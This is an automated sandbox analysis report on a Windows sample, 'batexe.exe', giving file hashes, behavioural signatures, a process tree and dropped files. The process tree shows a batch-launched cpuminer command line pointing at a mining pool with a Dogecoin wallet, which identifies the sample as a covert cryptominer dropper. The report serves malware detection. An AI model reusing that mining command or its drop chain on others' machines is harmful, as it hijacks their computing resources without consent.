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Analysis

  • max time kernel
    293s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    17/02/2024, 14:53

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1124
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7733.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:32

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe

    Filesize

    10.9MB

    MD5

    7f370332a942cd7ec16eed23774b4386

    SHA1

    2beb6ae86fd0c4ca385ae331f9f74106ba09ff64

    SHA256

    36e0c03edd4ef7fcc8958892b20d738b372cb58e7257e6972e4bdcdefddcb070

    SHA512

    bee23010ac9fc8d0a3b479d799da532b00c3e15e244642dbec7b8432ece5b1fadd590349c0e48130f0c896b25aa56564b921748046e6aeda7e6290fd6a82fc9f

  • C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe

    Filesize

    6.4MB

    MD5

    ebd57a76663c517ddb25dffe36d5d069

    SHA1

    8e73b80556b9f6da3c9235aed59f57745e994631

    SHA256

    88689f769b034126a6b078c4027da34443efe93b1bc9e4d4fbb4d9c6f5895876

    SHA512

    d4f141abdf28192686ef9205e87bb54294c78186b1a1205aea0c327fe3e8ce8a024fdefc4ff5130ed4eab005f678ba62656461e061edc98986fb8c31d2a4ebf8

  • C:\Users\Admin\AppData\Local\Temp\7426.tmp\b2e.exe

    Filesize

    5.1MB

    MD5

    2a717cabcbb60f293002bf30828d27b9

    SHA1

    3329f5a03f6a6b9185a20e6e48f6d0304518c2be

    SHA256

    0b64f36a955a38b1a256094758035c21cccbe3de50f05ceb1efb767bca5f7b56

    SHA512

    63163026e7f7c60578710ea56fb4ed1f23f231ea15654eb7ac6b094bc3f8e7fc99eec41c636e2137603ca651abea6b08b3fc6dfef30aceaca5151d866899b06c

  • C:\Users\Admin\AppData\Local\Temp\7733.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.2MB

    MD5

    4e832967f75db4aea8231eeae5314f8d

    SHA1

    596f1567b1fdd91e8379eb23ff0590d6f2a7dee4

    SHA256

    6b3c9282f78affe75375958981c87d014e5ee155e1a3ee72822879b63e80d90d

    SHA512

    1b9e21ee7fcc087cb243dd26cc587418bf4f01914fda2148b8fde92f1c27aae579f11fd3903494b2533a7f8a97201a7b94016af30d15b1809c8efbe584d3c01d

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    745251de2f7b279e22d969b8e0614e66

    SHA1

    76530ace0e939a169441cea0ea12c64f2546328d

    SHA256

    36fd3cef1b2e70db7072eaa4e35912560a37cf3c1588e3c766a87f729ced169e

    SHA512

    4e484aecae1036e332983d21d174ac772022e351f808ed83bde1fb8361eb1a61c57b3d678343873c62675a75cd52285312a0d969499a290f5b5b0255abd3d64d

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.2MB

    MD5

    d85d58e3abed5ea0f426b287115490fa

    SHA1

    c4849f291203d51b901e3ed67463550a1d9e96b8

    SHA256

    b8ef9cf2690d1a65dfc25feb93e9db1d447d47cad654a41aa2d0be6e546e951b

    SHA512

    f6eaf2d17a0404a27e90dff3d0cb38ef3db0ed0d71a3ccb01c2b8e00a198f2d25bf5073083f8e99ee6e32f41ba1158f2e11088dc23d4c224fcde75ffe3fc1cce

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.8MB

    MD5

    82fbe16434269b22b1193d56d87f7647

    SHA1

    241428fbd5189662b33039526cd44e55357bb5f8

    SHA256

    dc299c38cb79d541f0b3fa3e65d94e9595aa88d6a0edfb4d8379c7c44443bb14

    SHA512

    8ad61c3d1e77d583bd154d501b2f8cd8c1539016bf0b0fcc744eb5ac64a504716d545b88b4b843532eb5d9964852b2b167b2458e2f23797088ecc175dd3ca0d4

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.5MB

    MD5

    7bfb5301f12c5dd4de25ea3d9068c3fb

    SHA1

    422e9bc3a09a476aba273b6509cd07e60f41b8f2

    SHA256

    a1cbc95081e71767bcbffa25c59744db3f818150d383d73aa8e49cfd27279376

    SHA512

    559bb613ec219379071aade3ed039ce8ae05f525ca3dae0a31ea47af6e164c33fb4afcaabba4ab1ad7fdcc52096c38e9738c45ad64e599b8b48b289eaa328a52

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/32-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/32-45-0x000000005BE40000-0x000000005BED8000-memory.dmp

    Filesize

    608KB

  • memory/32-46-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/32-47-0x00000000010D0000-0x0000000002985000-memory.dmp

    Filesize

    24.7MB

  • memory/32-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/32-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1124-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1124-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2008-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB